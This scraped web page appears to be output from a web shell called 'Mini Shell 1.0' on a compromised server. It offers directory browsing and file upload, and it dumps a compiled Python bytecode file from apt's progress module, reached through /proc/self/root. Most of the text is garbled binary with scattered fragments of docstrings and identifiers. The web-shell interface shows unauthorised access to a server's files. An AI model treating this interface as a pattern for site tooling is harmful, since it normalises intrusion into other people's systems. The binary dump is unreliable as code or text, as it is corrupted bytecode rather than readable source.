HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/apt/progress/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/apt/progress/__pycache__/text.cpython-311.pyc
�

�xkd�)���dZddlmZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZddlZddl
mZgd�Zd�ZGd�d	e��ZGd
�deje��ZGd�d
eje��ZGd�deje��ZdS)z'Progress reporting for text interfaces.�)�print_functionN)�Callable�Optional�Union)�base)�AcquireProgress�
CdromProgress�
OpProgressc�d�tj|��}||krtj|d��}|S)z>Translate the message, also try apt if translation is missing.�apt)�apt_pkg�gettext)�msg�ress  �3/usr/lib/python3/dist-packages/apt/progress/text.py�_r$s2���/�#�
�
�C�
�c�z�z��o�c�5�)�)���J�c�"�eZdZdZdd�Zdd�ZdS)	�TextProgressz.Internal Base class for text progress classes.Nc�:�|ptj|_d|_dS)Nr)�sys�stdout�_file�_width��self�outfiles  r�__init__zTextProgress.__init__0s���*��
��
�����rTFc���|j�d��|j�|��|jt|��kr3|j�|jt|��z
dz��n)|r't	|jt|����|_|r|j�d��dS|j���dS)z8Write the message on the terminal, fill remaining space.�
� �
N)r�writer�len�max�flush)rr�newline�maximizes    r�_writezTextProgress._write5s���	
�
��������
��������;��S���!�!��J���d�k�C��H�H�4��;�<�<�<�<�
�	5��d�k�3�s�8�8�4�4�D�K��	��J���T�"�"�"�"�"�
�J�������r�N)TF)�__name__�
__module__�__qualname__�__doc__rr)�rrrr-sB������8�8�����
�����rrc�(�eZdZdZdd�Zdd�Zd�ZdS)r
z\Operation progress reporting.

    This closely resembles OpTextProgress in libapt-pkg.
    Nc��t�||��tj�|��d|_dS)N�)rrrr
�old_oprs  rrzOpProgress.__init__Ms9�����d�G�,�,�,��� � ��&�&�&�����rc��tj�||��|jr!|jr|�|j��|�d|j|jfzdd��|j|_dS)z1Called periodically to update the user interface.z%s... %i%%
FTN)rr
�update�major_changer3r)�op�percent)rr8s  rr5zOpProgress.updateSsu��	
����t�W�-�-�-���	%���	%��K�K���$�$�$����N�d�g�t�|�%<�<�e�T�J�J�J��g����rc��tj�|��|jr.|�td��d|jfzdd��d|_dS)z,Called once an operation has been completed.z%c%s... Doner Tr2N)rr
�doner3r)r�rs rr:zOpProgress.done\sZ��	
����T�"�"�"��;�	M��K�K��.�)�)�T�4�;�,?�?��t�L�L�L�����rr*)r+r,r-r.rr5r:r/rrr
r
GsU��������
������������rr
c�J�eZdZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�ZdS)
rz'AcquireProgress for the text interface.Nc��t�||��tj�|��d|_d|_d|_dS)N�P�)rrrr�_signalr�_idrs  rrzAcquireProgress.__init__hsM�����d�G�,�,�,���%�%�d�+�+�+��	
���������rc���tj�|��tjtj|j��|_|���d|_dS)z�Start an Acquire progress.

        In this case, the function sets up a signal handler for SIGWINCH, i.e.
        window resize signals. And it also sets id to 1.
        r?N)rr�start�signal�SIGWINCH�_winchr@rAr;s rrCzAcquireProgress.startrsJ��	
��"�"�4�(�(�(��}�V�_�d�k�B�B������
�
�
�����rc�2�t|jd��rtj|j�����rVddl}ddl}ddl}|�|j|j	d��}|�
d|��\}}}}|dz
|_dSdSdS)z)Signal handler for window resize signals.�filenorNs        �hhhhr?)�hasattrr�os�isattyrH�fcntl�termios�struct�ioctl�
TIOCGWINSZ�unpackr)r�dummyrMrNrO�buf�cols       rrFzAcquireProgress._winchs����4�:�x�(�(�	"�R�Y�t�z�7H�7H�7J�7J�-K�-K�	"��L�L�L��N�N�N��M�M�M��+�+�d�j�'�*<�h�G�G�C�'-�}�}�V�S�'A�'A�$�E�3��u���'�D�K�K�K�	"�	"�	"�	"rc��tj�||��td��|jz}|jjr$|dtj|jj��zz
}|�	|��dS)z@Called when an item is update (e.g. not modified on the server).zHit � [%sB]N)
rr�ims_hitr�description�owner�filesizer
�size_to_strr)�r�item�lines   rrXzAcquireProgress.ims_hit�su��	
��$�$�T�4�0�0�0���y�y�4�+�+���:��	H��H�w�2�4�:�3F�G�G�G�G�D����D�����rc�j�tj�||��|jj|jjkr,|�td��|jz��dS|�td��|jz��|�d|jj	z��dS)zCalled when an item is failed.zIgn zErr z  %sN)
rr�failrZ�status�	STAT_DONEr)rrY�
error_text)rr^s  rrazAcquireProgress.fail�s���	
��!�!�$��-�-�-��:���
� 4�4�4��K�K��&�	�	�D�$4�4�5�5�5�5�5��K�K��&�	�	�D�$4�4�5�5�5��K�K����!6�6�7�7�7�7�7rc�z�tj�||��|jjrdS|j|j_|xjdz
c_td��|jj�d|j��z}|jj	r$|dtj|jj	��zz
}|�|��dS)z/Called when some of the item's data is fetched.Nr?zGet:r!rW)
rr�fetchrZ�completerA�idrrYr[r
r\r)r]s   rrfzAcquireProgress.fetch�s���	
��"�"�4��.�.�.��:��	��F����
�
����A�
�����y�y�d�j�m�m�m�T�5E�5E�F�F���:��	H��H�w�2�4�:�3F�G�G�G�G�D����D�����rc���tj�||��t|jd��r-tj|j�����sdS|j|j	zdzt|j|jz��z}d}d|z}d}|j
rbtt|j|jz
��|j
z��}dtj|j
���dtj|����}|jD�]}}d}|jsT|jrLd	|jz}t+|��t+|��zt+|��z|jkr�n'||z
}d}�`d}|jjjr$|d
|jjj|jjfzz
}n|d|jjzz
}|jjjr|d|jjjzz
}|d
tj|j��zz
}|jrB|jjjs1|dtj|j��|jdz|jzfzz
}|dz
}t+|��t+|��zt+|��z|jkrn||z
}��|s|t?d��z
}|j
r0||jt+|��z
t+|��z
dz|zz
}|� |d��dS)z�Periodically invoked while the Acquire process is underway.

        Return False if the user asked to cancel the whole Acquire process.rHTgY@Fz%i%%r2r!zB/s z [%s]z [%i %sz [%sz %sz %sBz	/%sB %i%%�]z
 [Working])!rr�pulserJrrKrLrH�
current_bytes�
current_items�float�total_bytes�total_items�current_cps�intr
r\�time_to_str�workers�current_itemrbr$rrZrh�	shortdescrY�active_subprocess�current_size�
total_sizergrr))	rrZr8�shown�tval�end�eta�worker�vals	         rrkzAcquireProgress.pulse�s%��
	
��"�"�4��/�/�/��4�:�x�(�(�	���4�:�;L�;L�;N�;N�1O�1O�	��4��&��);�;�u�D����t�/�/�I
�I
�
������������	��e�D�,�t�/A�A�B�B�T�EU�U�V�V�C�C��#�D�$4�5�5�5�5��#�C�(�(�(��C�
�m�%	�%	�F��C��&�
��=�!�!�F�M�1�C��4�y�y�3�s�8�8�+�c�#�h�h�6�$�+�E�E����C�K�D� �E���E��"�(�+�
@��y��'�-�0��'�1�$�����
�v�� 3� ?�?�?���"�(�:�
K��u�v�2�8�J�J�J���6�G�/��0C�D�D�D�D�C�� �
��)<�)B�)K�
��{��'��(9�:�:��'�%�/�&�2C�C�&����

�3�J�C��4�y�y�3�s�8�8�#�c�#�h�h�.�$�+�=�=���������	$��A�l�O�O�#�D���	E��T�[�3�s�8�8�+�c�$�i�i�7�3�>��D�D�D����D�%� � � ��trc��tj�|||��|�t	d��||fz��t��dvS)z7Prompt the user to change the inserted removable media.zUMedia change: please insert the disc labeled
 '%s'
in the drive '%s' and press enter
)�c�C)rr�media_changer)r�input)r�medium�drives   rr�zAcquireProgress.media_change�sf��	
��)�)�$���>�>�>����
�6�
�
�
�u�o�
�	
�	
�	
��w�w�j�(�(rc��tj�|��|�t	d��tj|j��tj|j	��tj|j
��fz�d����ddl}|j|j
|j��dS)z/Invoked when the Acquire process stops running.zFetched %sB in %s (%sB/s)
r"rN)rr�stopr)rr
r\�
fetched_bytesrs�elapsed_timerq�rstriprDrEr@)rrDs  rr�zAcquireProgress.stops���	
��!�!�$�'�'�'�����/�0�0��'��(:�;�;��'��(9�:�:��'��(8�9�9����f�T�l�l�		
�		
�		
�	�
�
�
���
�f�o�t�|�4�4�4�4�4rr*)
r+r,r-r.rrCrFrXrarfrkr�r�r/rrrres�������1�1��������
"�
"�
"����8�8�8�
�
�
�G�G�G�R)�)�)�5�5�5�5�5rrc�$�eZdZdZd�Zd�Zd�ZdS)r	zText CD-ROM progress.c���tj�|��|�t	d��d��	tt
d����S#t$rYdSwxYw)z,Ask the user to provide a name for the disc.zDPlease provide a name for this medium, such as 'Debian 2.1r1 Disk 1'F�:N)rr	�ask_cdrom_namer)r�strr��KeyboardInterruptr;s rr�zCdromProgress.ask_cdrom_names���	
��)�)�$�/�/�/����
�(�
�
�
�	
�	
�	
�	��u�S�z�z�?�?�"�� �	�	�	��4�4�	���s�A � 
A.�-A.c�|�tj�|||��|r|�|d��dSdS)zSet the current progress.FN)rr	r5r))r�text�currents   rr5zCdromProgress.update-sK��	
��!�!�$��g�6�6�6��	%��K�K��e�$�$�$�$�$�	%�	%rc���tj�|��|�t	d��d��	tt
��dk��S#t$rYdSwxYw)z"Ask the user to change the CD-ROM.z4Please insert an installation medium and press enterFr2)rr	�change_cdromr)r�boolr�r�r;s rr�zCdromProgress.change_cdrom4su��	
��'�'��-�-�-����A�L�M�M�u�U�U�U�	�����2�
�&�&�&�� �	�	�	��5�5�	���s�A#�#
A1�0A1N)r+r,r-r.r�r5r�r/rrr	r	sG����������� %�%�%�����rr	)r.�
__future__r�iorKrDr�types�typingrrrr
�apt.progressr�__all__r�objectrr
rr	r/rr�<module>r�sl��".�-�%�%�%�%�%�%�	�	�	�	�	�	�	�	�
�
�
�
�
�
�
�
�����,�,�,�,�,�,�,�,�,�,�����������=�
<�
<����������6����4�������,����<r5�r5�r5�r5�r5�d�*�L�r5�r5�r5�j"�"�"�"�"�D�&��"�"�"�"�"r